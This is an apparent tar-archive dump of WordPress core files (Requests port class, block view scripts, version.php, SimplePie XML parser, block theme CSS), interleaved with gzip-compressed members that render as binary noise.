	 *
	 * @var int
	 */
	const HTTPS = 443;

	/**
	 * Retrieve the port number to use.
	 *
	 * @param string $type Request type.
	 *                     The following requests types are supported:
	 *                     'acap', 'dict', 'http' and 'https'.
	 *
	 * @return int
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When a non-string input has been passed.
	 * @throws \WpOrg\Requests\Exception                 When a non-supported port is requested ('portnotsupported').
	 */
	public static function get($type) {
		if (!is_string($type)) {
			throw InvalidArgument::create(1, '$type', 'string', gettype($type));
		}

		$type = strtoupper($type);
		if (!defined("self::{$type}")) {
			$message = sprintf('Invalid port type (%s) passed', $type);
			throw new Exception($message, 'portnotsupported');
		}

		return constant("self::{$type}");
	}
}
14338/view.min.js.tar000064400000015000151024420100010066 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/file/view.min.js000064400000001315151024266140025643 0ustar00import*as e from"@wordpress/interactivity";var t={d:(e,o)=>{for(var r in o)t.o(o,r)&&!t.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:o[r]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const o=(e=>{var o={};return t.d(o,e),o})({store:()=>e.store}),r=e=>{let t;try{t=new window.ActiveXObject(e)}catch(e){t=void 0}return t};(0,o.store)("core/file",{state:{get hasPdfPreview(){return!(window.navigator.userAgent.indexOf("Mobi")>-1||window.navigator.userAgent.indexOf("Android")>-1||window.navigator.userAgent.indexOf("Macintosh")>-1&&window.navigator.maxTouchPoints&&window.navigator.maxTouchPoints>2||(window.ActiveXObject||"ActiveXObject"in window)&&!r("AcroPDF.PDF")&&!r("PDF.PdfCtrl"))}}},{lock:!0});home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/navigation/view.min.js000064400000006436151024346140027073 0ustar00import*as e from"@wordpress/interactivity";var t={d:(e,n)=>{for(var o in n)t.o(n,o)&&!t.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:n[o]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const n=(e=>{var n={};return t.d(n,e),n})({getContext:()=>e.getContext,getElement:()=>e.getElement,store:()=>e.store,withSyncEvent:()=>e.withSyncEvent}),o=["a[href]",'input:not([disabled]):not([type="hidden"]):not([aria-hidden])',"select:not([disabled]):not([aria-hidden])","textarea:not([disabled]):not([aria-hidden])","button:not([disabled]):not([aria-hidden])","[contenteditable]",'[tabindex]:not([tabindex^="-"])'];document.addEventListener("click",(()=>{}));const{state:l,actions:c}=(0,n.store)("core/navigation",{state:{get roleAttribute(){return"overlay"===(0,n.getContext)().type&&l.isMenuOpen?"dialog":null},get ariaModal(){return"overlay"===(0,n.getContext)().type&&l.isMenuOpen?"true":null},get ariaLabel(){const e=(0,n.getContext)();return"overlay"===e.type&&l.isMenuOpen?e.ariaLabel:null},get isMenuOpen(){return Object.values(l.menuOpenedBy).filter(Boolean).length>0},get menuOpenedBy(){const e=(0,n.getContext)();return"overlay"===e.type?e.overlayOpenedBy:e.submenuOpenedBy}},actions:{openMenuOnHover(){const{type:e,overlayOpenedBy:t}=(0,n.getContext)();"submenu"===e&&0===Object.values(t||{}).filter(Boolean).length&&c.openMenu("hover")},closeMenuOnHover(){const{type:e,overlayOpenedBy:t}=(0,n.getContext)();"submenu"===e&&0===Object.values(t||{}).filter(Boolean).length&&c.closeMenu("hover")},openMenuOnClick(){const e=(0,n.getContext)(),{ref:t}=(0,n.getElement)();e.previousFocus=t,c.openMenu("click")},closeMenuOnClick(){c.closeMenu("click"),c.closeMenu("focus")},openMenuOnFocus(){c.openMenu("focus")},toggleMenuOnClick(){const e=(0,n.getContext)(),{ref:t}=(0,n.getElement)();window.document.activeElement!==t&&t.focus();const{menuOpenedBy:o}=l;o.click||o.focus?(c.closeMenu("click"),c.closeMenu("focus")):(e.previousFocus=t,c.openMenu("click"))},handleMenuKeydown:(0,n.withSyncEvent)((e=>{const{type:t,firstFocusableElement:o,lastFocusableElement:u}=(0,n.getContext)();if(l.menuOpenedBy.click){if("Escape"===e?.key)return c.closeMenu("click"),void c.closeMenu("focus");"overlay"===t&&"Tab"===e.key&&(e.shiftKey&&window.document.activeElement===o?(e.preventDefault(),u.focus()):e.shiftKey||window.document.activeElement!==u||(e.preventDefault(),o.focus()))}})),handleMenuFocusout(e){const{modal:t,type:o}=(0,n.getContext)();(null===e.relatedTarget||!t?.contains(e.relatedTarget)&&e.target!==window.document.activeElement&&"submenu"===o)&&(c.closeMenu("click"),c.closeMenu("focus"))},openMenu(e="click"){const{type:t}=(0,n.getContext)();l.menuOpenedBy[e]=!0,"overlay"===t&&document.documentElement.classList.add("has-modal-open")},closeMenu(e="click"){const t=(0,n.getContext)();l.menuOpenedBy[e]=!1,l.isMenuOpen||(t.modal?.contains(window.document.activeElement)&&t.previousFocus?.focus(),t.modal=null,t.previousFocus=null,"overlay"===t.type&&document.documentElement.classList.remove("has-modal-open"))}},callbacks:{initMenu(){const e=(0,n.getContext)(),{ref:t}=(0,n.getElement)();if(l.isMenuOpen){const n=t.querySelectorAll(o);e.modal=t,e.firstFocusableElement=n[0],e.lastFocusableElement=n[n.length-1]}},focusFirstElement(){const{ref:e}=(0,n.getElement)();if(l.isMenuOpen){const t=e.querySelectorAll(o);t?.[0]?.focus()}}}},{lock:!0});14338/file.tar.gz000064400000006242151024420100007265 0ustar00���s�8����B��
�H�lr��v���n3��۝�ta���X�,X�ޓl��)�ڐ��L�߷���'f;�����9v<��'_�'�ǹ���ӣ'�N��>n7���v�4��*Y|I�܇�? ��I}�r�>t\���s����~�b�d�g;�ĥ���e��W�
:����=g8�[P=�'�b��SƼޘ�ǫ��|�m�KY�l*i]ɺp�P��L�Q����(��1l��@�|ڌ�d3�1"C�41->�p�u�|�w:p�6>��\�xL,�&��8�%���O�s�4V��l���aқ:���;��;&����{�W��pߑ��t�s7����o$�$�$�}Ա��'`������:)]@�G�gA���u����E<���j�m�iںp����X�<^�����i|��<��	��O�ǝ��m�"���qB�g������w�W���ⷷ/���Տ��o����~ʅ
����JjI�Α�;;�;��>
>&�o���f�Wj<S� �y;bD���`ķ�����Q�L�֒�~��/�"L0��}>4�=#��<�Y�fC�"d"@I!��I0�'I�j� �d�j9#JM@��ga �ɐ2�b̽9a3t�� �1ݴ��j�Z�|UP�H=�Ut�-��K����a5O��Hj�� O���|ԥF��.��������p�/ES#¼`���.�"`5�W7��;@|OB���&���!U#g��v�o�^�&�G��z��~�v|��Q�H��7�Ar9�03-д��&h��V|>4J�u�r��z0�aae£�Gf�b3C��{�`�7�M�:���у �Y)$���̴˴���(A�K�=3�oj�ᬺ ��>�gX�}�D��L��P��a6<n���ہ�F�':3q���b��k�5ZӕF =g���؋%�����'�@�9p<���!	|�/2��9�
��8d��`vH��	�\=�1F����>��,��!C?�����^?��':O2�)���2I�2��W͖@؂N�ΰ�<?dԈz,�9B���>vp4L��9�3<rY�!7�
lFʯ�����:��r̉3$�)8�OM��97��D�]��L��7�j�+�$�����x�
����%�ĕg��Db s(8�{�f��&��O�1�Q��0��3=��~@�L^S�L��d�"��3tc:{�kt���咴�����;_�5�`D���N���0��z��;���&:26��0�6"����=��Z*864�^����9�RH��ࠏ	��1�%Ka���p+����e�W�F�h6�d�$��+��(�ki�a�VS!8d���h����#�����$��suB��/q6��Zal�@�cx��0���fj��>���m���R>I��Td\�Α�*��v2�€�6
0�����G����xlJ�t�"��:D;$#I��}��PJ�����<�6��+^#!��	FW�r��<���4�Qm�>��E�P�b���_�)Sa�"!o�VC�i%��k]��Xڞ��ʇ�Ca)�|�x���p�+=�&��5���K}�A~:�|y[���V�8���,��{�o�]���B�y���P�кݨ��l}aeS��s�y�:;�N�O�:��g��Q��c�T��X�z����N������3��*x)��\^,�n�ոqq���M�pnH�WyMO��W��n��Dm�(�6kX�����kEH�S�QÞ�4�E��f��X��8S7mP�5ՅJ��U��tj5q�t�����y�1�dF�2N�hw�ol������3��2c+�:[[��iM}��O�z�~�h�	�M��y�t��p+�e��>w?w_N=�W�9Ct_���QSb�V6�0k��6!S}����/�.{����\?�o������v*>೺��x7��L��A�� ��l����!��P��y�96�Y�>j�z����amW5�?�{���"�ȷ;�Z��)��~�ov2��l<`v�y.��v�EAm'�m6��OO�m��Q4�ζ�Ujt���j;�������2�n�w��H�7#
�F��`5v��e8���9�1�驾����֭p�s������0�����i�f���q��k�DH�0hM��絋`���`��v�W
Kr#D%.�m��^���W��O��1�v���pGle��&�ύ��e��y/���C��n�����1��Gw��Ix}l��7�Ᵽ/��0��mɫdyH�M���Uv����m��D�r{Z�*���a{����V������Ҋ�H����?`��K����w��/P�E�_�_ �_�_S��D�a~�p2����Q3��'E��,J�ֈ�i�K�#)'~���->L�����w�X��r
������G؂�֐K��Z�#]�C�bQ�n��c�2�Zm�[�Q�l�ŕmJ`���EJ ��\Nm}_7	�������w�lC��{�r��'�?b�2y���im�1hb�!
\��R8���;�d�`# ���|2� ���փ�"	6܍0��+R4�UV���a��Y�ضY��w*���]�ވpV4�^H��I�rZ8F�:�6#?�f�MG>?x��{_���vT�-�L�M5��-��G|�<��N�eU�{��xD�=c>v��[�/��+���4Zp�[�X�G��K�2m���V�4�Ƞ�x����q��5Rz��&�L�
��b���t:�����~��j�������)R���B]G�-}���=�>ז}��Ɔ`���-�\�g'��$���b��|�S��������,6gբ�T��6�Zv�>+/G`�Ĵȴ���M1�zW�sDZN%�u�R-~.F���^�w���ǫ�����v�����on	8�u�X�
^���MՂw�p'+�i
Ֆ���X�tfS*m�g7�fL�_&޴���ڷf��z���Q�WV9�\�xM��1<%K�q߯U���=�	�߃�w��������{�?u�O���_��?��<�o�>���ӣ�"��>���g�-zF�;Ѕ���h�)~��uAt���������Q����,�����?&.>��+��
x\�/?�x\14338/api-request.js.js.tar.gz000064400000002701151024420100011627 0ustar00��W[oG��eM�w�@�eA
�@��%F��Lvg�I�3���8.��m��<U�)v�r.߹{.4�%U��OR�T��Ӵ��3>�JU�(�SQq��S�H���2��3���
%�����zps��z��빹z�b���ݝ�����O�|o�ً��s�}UJ�"�Y�Õlowa�s����UL��,%)K*!>O����'�;Z�He_WRR���HT0�@��%�9ѐ	�BC�(�)|�¸�x�
���TpjإH�5�T��[Q���,�
�9�3�Py�r���PV������B,��,�H6rQz�Q�)�h���@,�߸C��cP�Lp���P�)�{m.xJ
�œ��ʸ��*i��Q�و�*C��`��$�II��
F r�WE�>��~������4�����fI-�0�&��=�A�����Q��X�%�&�'ӞU��?T�g]�Z[`�ރ�4�e�j\��j��.+
wV
|�t�}��Sý��1|�v.�D�Ò�P���1*�3��[ǣn��1��GǺ���s�:a7n��O+Vd����A4BIu%�Lc-	W�����u��-
]�k�ePV���<���_�hXߘm�r�k\��p]G�k��f�:����:P8?*<ϲ&����w����`L�a9��W%�p���x<�Hi�Ί`k떷u"4��;g��&��*��,�ɟ_��_�G�lQ���@��n����i>�Nǻ膊O J"�ܠ���X��d�vݟ��̽o�ԫ�i�����N�����WI�*�aej-)$�{>���td"Qa��_J��+O��*�)`�N�٬�h�
��Dl/�N�`�kD0n
���8��-����8��X��q�d/
�
O����\ym!�|�@�+{�(����ei�8�ca*�I,��a؂�am�?�|�C+P�C��>Έ&RsYNɍ|CZV.�|�6�7�|�߮�Ӫ��EDž���6N�9Q�K>�]�W-ڵuѝNF�ڌ�R��?��'C:9����xF8�W�(v�#	���u�ٖ��a���ǰ$�a2S�6ln:�gMfS6�6�tނk�^,�|�r�
(���j�mɚ=:��7�Lӑ�<�,85�ø��p����!̬6$z�oܜ��4�nT���'�R������	���(�WKO�Cnz�`�>XX��@m��B��C�������0�~�=��Ļ��R}!�W7A����W��]9s��W\<�K���q��3�|;�N��Y����U����ժFfԊ�p����<�f��~(ԟZ�9�[��}f����P��������c��Y�܅�g�9�ߙyi����B2?=��U��sIJ4�b����`(���x;5�����?����_��~�����14338/version.php.tar000064400000006000151024420100010172 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/version.php000064400000002102151024205450023543 0ustar00<?php
/**
 * WordPress Version
 *
 * Contains version information for the current WordPress release.
 *
 * @package WordPress
 * @since 1.2.0
 */

/**
 * The WordPress version string.
 *
 * Holds the current version number for WordPress core. Used to bust caches
 * and to enable development mode for scripts when running from the /src directory.
 *
 * @global string $wp_version
 */
$wp_version = '6.8.3';

/**
 * Holds the WordPress DB revision, increments when changes are made to the WordPress DB schema.
 *
 * @global int $wp_db_version
 */
$wp_db_version = 60421;

/**
 * Holds the TinyMCE version.
 *
 * @global string $tinymce_version
 */
$tinymce_version = '49110-20250317';

/**
 * Holds the required PHP version.
 *
 * @global string $required_php_version
 */
$required_php_version = '7.2.24';

/**
 * Holds the names of required PHP extensions.
 *
 * @global string[] $required_php_extensions
 */
$required_php_extensions = array(
	'json',
	'hash',
);

/**
 * Holds the required MySQL version.
 *
 * @global string $required_mysql_version
 */
$required_mysql_version = '5.5.5';
14338/class-wp-comment.php.php.tar.gz000064400000005224151024420100013112 0ustar00��iSG6_�Wt�JF���*{�5ޘ*S�bR����Z3-i����&��}�1=#	ɋ�䃧(����[��T�M�(o��f{��SQ�"a"xg��(��4O�ü��]?�ӽ�b7�¤�D�&�,wa6R��~1/�j=x~8<l/�`pp�G_����������`���T��P~\����m�=z����Z��dx�����;)�g��L�����`8%����n�[f,E��a�{�5*)4\V�"b*g������%�3�O�b��P>��a�6Vs�i��b*҉�e�����w'I�ߞ�e<�á�!U,ʫm��C��������-O"g�}|���U��q�J%�Ezl�K$��*��I���̳��� �n�4�}o{��&	��Gg�O<J�NY>ej.X���>��,FI�y������"Q@1;f� x�D��Rs�JBd���Ј��	�Q��	�4�5X�x�)pUr-���e�uφ7��Ք��O�`�����K�_��=?�==e/_>>?�捡�Ax� xv�
��g)9?�_� ���4���c�
�La.|^c�k\1Jȟ��5��n^2���
a[Ut=�!
����
///��F$���@�����{×^8���TLy�(Ҩ X�y6Ӊnlp��҄X�$�ޠlȥ6�?/Q��u��s���0���4��8�����Υ�w����Ď��~;�����F���OE^T	egdS�!c[��f�<O�p`G�1��
�za�$Z+��Rr�검V�n��y�h�x���LLs�*VI}\��,�]A��Z�R��W<����|����܉4�b`cqa��p���Nk;��Y�2PU����Wk��N��:�C�؎��V,nTr~)���𞐣gI>��{[D֡߮:��'��O�Ux��<[�:��O��M��eϤP��<�~'3s5���ncء�~�-Qa�gZe���P#�b��@���e�!NPJ[.ԐKw��<���)벯�B�24��@�F��A\���s�Q��>�ZYFM��mp���ݧȔ�o����
�˾y��Ջ� �]�>�ۮ�y����t)�m�^���]��oz-5Y+�Z`^s��X��[_sd�^�ܒ�b@g�ֳ��O�Ј��cY�*���
M�*Y�Z2��i[��)�W��zc��2̖:��k�j02�H-@T _Ԩ�3B�'�E�\�;v��ut����Q~���4{Z�m��������87J��쵾��w�p�Q�nM���姶@$u�6�@;ʭ�n�(Mm��Y��>'����Ҿ`G���i����,���sgb�����L�4`}���B�e.C֐B��9��Br	���pa
�j��3����7[��rPc� U�4{�Z�YI$q+(�JU��]����(�s0ϓ(`�q3[�;��L���>���$�<F�R�+b�bs9 �Ubhh�UV��<:��+#�V] ��f�jnA�g�0k�S0�`�`�#� "(�,5��9��L^�;���؏W�i�6YӍ�����PgD�0�H*r�X6�ߵh��c�$c2A�um^5���K_a(@�ŹU<�HF]p��tG���C�wt�9��A�`@5Tl��y�ӵ�g�f]�X�|�[n���0Fu����U��D�g�95�Q�	6���k��Z��2f)x"r�4�LtCe�̥� �S"�R8�����a�Ѯ�\mX_
L6b@��}v�adjO�r�v 	��-B�
�O��L����x�����;��R��h,�`놦5��t��`�v�ס�ם���ޢEoc�N��Y�zT
�6��F�6�^č�RT@�L�k���b3Idy��Y�|�@�}q����T�I?���]�uђQ���R2�kJ-۲�ڴ�PW�`��R(0@A�+�m�^�ۤj���d�.��)��2m��3""�30�RЎ��G6�"�޻��Vٺ�n~��{��KK��;c�X+}��.��ƪ}�	WwYL`[��h��e�ssӶWD�I������i�s��$�}K?�*�R3C��
�8���xD�������`�H��i!@�)��`8X2�Se��=N���]�s�
9�z׳#)�]�|�͸��;��=���Zlw����*�DVc��wuu��3�8�z=��[']*|&Ur�;����v��q-1��~�d,�<2�]���L�9Q{��EZ^�DZ�����c+v����J��֌�.L��sj������W�Q�둣�c��6����Wu��t���ٱ�/�7�A�W������%�%.Q
�P�mQw+����=�Ί/�{��w1zLp�hz˲\A�fB'�*˄�lP�"1��bC[��74�B�}`�B�'��v�`�k��W)rQT]��a�K��]�k�N�4qjG%�2Q�A(ٮ��@>ܮ�p���cl(�
�4.��װ]Z'yC��n])�{A�y��Za��`CK(1���b)v�F��U�����7�&��w�ld#:n��쾇YH�}�����T�Y�K�9����0~�<���L��H��KJ�x�g���9�X�`��5S��7
��4~/����=X����}JXܐ�����U_�/ϗ���~�}g,14338/XML.tar000064400000026000151024420100006361 0ustar00Declaration/Parser.php000064400000022353151024331150010736 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\XML\Declaration;

/**
 * Parses the XML Declaration
 *
 * @package SimplePie
 * @subpackage Parsing
 */
class Parser
{
    /**
     * XML Version
     *
     * @access public
     * @var string
     */
    public $version = '1.0';

    /**
     * Encoding
     *
     * @access public
     * @var string
     */
    public $encoding = 'UTF-8';

    /**
     * Standalone
     *
     * @access public
     * @var bool
     */
    public $standalone = false;

    private const STATE_BEFORE_VERSION_NAME = 'before_version_name';

    private const STATE_VERSION_NAME = 'version_name';

    private const STATE_VERSION_EQUALS = 'version_equals';

    private const STATE_VERSION_VALUE = 'version_value';

    private const STATE_ENCODING_NAME = 'encoding_name';

    private const STATE_EMIT = 'emit';

    private const STATE_ENCODING_EQUALS = 'encoding_equals';

    private const STATE_STANDALONE_NAME = 'standalone_name';

    private const STATE_ENCODING_VALUE = 'encoding_value';

    private const STATE_STANDALONE_EQUALS = 'standalone_equals';

    private const STATE_STANDALONE_VALUE = 'standalone_value';

    private const STATE_ERROR = false;

    /**
     * Current state of the state machine
     *
     * @access private
     * @var self::STATE_*
     */
    public $state = self::STATE_BEFORE_VERSION_NAME;

    /**
     * Input data
     *
     * @access private
     * @var string
     */
    public $data = '';

    /**
     * Input data length (to avoid calling strlen() everytime this is needed)
     *
     * @access private
     * @var int
     */
    public $data_length = 0;

    /**
     * Current position of the pointer
     *
     * @var int
     * @access private
     */
    public $position = 0;

    /**
     * Create an instance of the class with the input data
     *
     * @access public
     * @param string $data Input data
     */
    public function __construct($data)
    {
        $this->data = $data;
        $this->data_length = strlen($this->data);
    }

    /**
     * Parse the input data
     *
     * @access public
     * @return bool true on success, false on failure
     */
    public function parse()
    {
        while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) {
            $state = $this->state;
            $this->$state();
        }
        $this->data = '';
        if ($this->state === self::STATE_EMIT) {
            return true;
        }

        $this->version = '';
        $this->encoding = '';
        $this->standalone = '';
        return false;
    }

    /**
     * Check whether there is data beyond the pointer
     *
     * @access private
     * @return bool true if there is further data, false if not
     */
    public function has_data()
    {
        return (bool) ($this->position < $this->data_length);
    }

    /**
     * Advance past any whitespace
     *
     * @return int Number of whitespace characters passed
     */
    public function skip_whitespace()
    {
        $whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position);
        $this->position += $whitespace;
        return $whitespace;
    }

    /**
     * Read value
     */
    public function get_value()
    {
        $quote = substr($this->data, $this->position, 1);
        if ($quote === '"' || $quote === "'") {
            $this->position++;
            $len = strcspn($this->data, $quote, $this->position);
            if ($this->has_data()) {
                $value = substr($this->data, $this->position, $len);
                $this->position += $len + 1;
                return $value;
            }
        }
        return false;
    }

    public function before_version_name()
    {
        if ($this->skip_whitespace()) {
            $this->state = self::STATE_VERSION_NAME;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function version_name()
    {
        if (substr($this->data, $this->position, 7) === 'version') {
            $this->position += 7;
            $this->skip_whitespace();
            $this->state = self::STATE_VERSION_EQUALS;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function version_equals()
    {
        if (substr($this->data, $this->position, 1) === '=') {
            $this->position++;
            $this->skip_whitespace();
            $this->state = self::STATE_VERSION_VALUE;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function version_value()
    {
        if ($this->version = $this->get_value()) {
            $this->skip_whitespace();
            if ($this->has_data()) {
                $this->state = self::STATE_ENCODING_NAME;
            } else {
                $this->state = self::STATE_EMIT;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function encoding_name()
    {
        if (substr($this->data, $this->position, 8) === 'encoding') {
            $this->position += 8;
            $this->skip_whitespace();
            $this->state = self::STATE_ENCODING_EQUALS;
        } else {
            $this->state = self::STATE_STANDALONE_NAME;
        }
    }

    public function encoding_equals()
    {
        if (substr($this->data, $this->position, 1) === '=') {
            $this->position++;
            $this->skip_whitespace();
            $this->state = self::STATE_ENCODING_VALUE;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function encoding_value()
    {
        if ($this->encoding = $this->get_value()) {
            $this->skip_whitespace();
            if ($this->has_data()) {
                $this->state = self::STATE_STANDALONE_NAME;
            } else {
                $this->state = self::STATE_EMIT;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function standalone_name()
    {
        if (substr($this->data, $this->position, 10) === 'standalone') {
            $this->position += 10;
            $this->skip_whitespace();
            $this->state = self::STATE_STANDALONE_EQUALS;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function standalone_equals()
    {
        if (substr($this->data, $this->position, 1) === '=') {
            $this->position++;
            $this->skip_whitespace();
            $this->state = self::STATE_STANDALONE_VALUE;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function standalone_value()
    {
        if ($standalone = $this->get_value()) {
            switch ($standalone) {
                case 'yes':
                    $this->standalone = true;
                    break;

                case 'no':
                    $this->standalone = false;
                    break;

                default:
                    $this->state = self::STATE_ERROR;
                    return;
            }

            $this->skip_whitespace();
            if ($this->has_data()) {
                $this->state = self::STATE_ERROR;
            } else {
                $this->state = self::STATE_EMIT;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }
}

class_alias('SimplePie\XML\Declaration\Parser', 'SimplePie_XML_Declaration_Parser');
14338/rss-functions.php.tar000064400000004000151024420100011320 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rss-functions.php000064400000000377151024204130024701 0ustar00<?php
/**
 * Deprecated. Use rss.php instead.
 *
 * @package WordPress
 * @deprecated 2.1.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit();
}

_deprecated_file( basename( __FILE__ ), '2.1.0', WPINC . '/rss.php' );
require_once ABSPATH . WPINC . '/rss.php';
14338/theme.min.css.tar000064400000020000151024420100010366 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/audio/theme.min.css000064400000000260151024267160026332 0ustar00.wp-block-audio :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio :where(figcaption){color:#ffffffa6}.wp-block-audio{margin:0 0 1em}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/group/theme.min.css000064400000000076151024267200026365 0ustar00:where(.wp-block-group.has-background){padding:1.25em 2.375em}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/table/theme.min.css000064400000000350151024267300026314 0ustar00.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table :where(figcaption){color:#ffffffa6}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/quote/theme.min.css000064400000000754151024272210026366 0ustar00.wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote:where(.has-text-align-right){border-left:none;border-right:.25em solid;padding-left:0;padding-right:1em}.wp-block-quote:where(.has-text-align-center){border:none;padding-left:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote:where(.is-style-plain){border:none}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/image/theme.min.css000064400000000274151024300010026276 0ustar00:root :where(.wp-block-image figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme :root :where(.wp-block-image figcaption){color:#ffffffa6}.wp-block-image{margin:0 0 1em}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/video/theme.min.css000064400000000260151024404520026330 0ustar00.wp-block-video :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video :where(figcaption){color:#ffffffa6}.wp-block-video{margin:0 0 1em}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/embed/theme.min.css000064400000000260151024436540026305 0ustar00.wp-block-embed :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed :where(figcaption){color:#ffffffa6}.wp-block-embed{margin:0 0 1em}14338/class-wp-widget-meta.php.php.tar.gz000064400000003126151024420100013656 0ustar00��X[o�6�+�w��DJR�ٜ�i�m�v-�}(��h��n)����sHJ��$kw�ʇ�&�;Wg��<��\��fAT��ˈg<J8�D��
Y��yr�U��~���u�/�(�b.�k/��A�0)���\�\1�X���y4��>朜�<�wx|xp4:<y8:�����C8��N%+Q���x��1H��<�7:v��Տcx�*4_�J��E"{\��-8����Է��5&+�5�
��?��{Ы�=�Kn�B%y*�	Oy����j�ɷz��H�ZB�/@dA^�=������]�=�*���#���\q�qM�cL�r��W<�[��{���J�@ߠ*�ʌ_�-E�0�P�Ot��c�C
���%"�y�EJ��a�#_YE��"�qa^H�+K����q��K��g2�2R��{��˺ M�L������4�{�5K��Ml��\p}�Ff�U���7J�p�b�ÒSY�$}�R.��F? �T�F{M9<�?+1��qp�/�Nš��6B�����**��Zb�噢���^����f.�<��h������Y����rW�i��<��qT�C%T����/�Z�-��4&"+����7XU�B)����ߐ���3��,���U�2�`��CD���&��+�i���F�[׀q�2�o�CW�)�"
���	"�)�#
?v��Ĉ*�SI�Q��X,��H֡�,�����t���OEΘ��;���27Ƚ�
�~s�0��M,5~M���T�$���r�L�6�!?�:��"/��TirLɘ��X0���D�:
��w��G��u�N�UVS���m�7�Y�dhh)�k����z2�l�
�A��s0�X'3n���.�G�a�^�x�-eWd��J����'l�r:�+�^�O��I>�~&R$�[�V�uI8�i�����uZ�g�G˔I��\��2�J]���!����k��qΧ��Y�LI��-l�!ox
��)��9�������K��!��)U�x@�2����RJyD��%������Bť�.XM�k�T7��n�O-��z�t��Tq��`RS�D�3�8 %�S�S�DXD�Yb�+����#0���O�V"��3�@�z�6l	3#��g΀�L&�IƢzl�uk�ߕe�I��?���m���f��m����i/)a�_S��f]qd�^���t�N��dz�h �XY.��=��Jr��lQ;�T����'KѸN�L�q�(�f�T����ʪ�I�?kF��,�B��Eg�_n-7ϰ?%��ϘQ n��^qp�mV7�	7�-UB6r��gܺ`��F�J_�J��v:͂=L��&O�!/��C,{�UUf�������d�[�
-v�{[f�����r:��m��Z3A2�h�V�c�'���n���:5h��m�m�6��mG���Omj��oCP�rw_l�Oh��
�CJy<�i�^�̯��7n=E��:+��3Uv��ɨ�hlCo�����0n&��iě�֋̤��aSU}�j��v7Q착u�l�$}X���;s�.7���h�
��Rzz��__��|��F��L14338/header-embed.php.tar000064400000005000151024420100011006 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/theme-compat/header-embed.php000064400000001276151024302640026755 0ustar00<?php
/**
 * Contains the post embed header template
 *
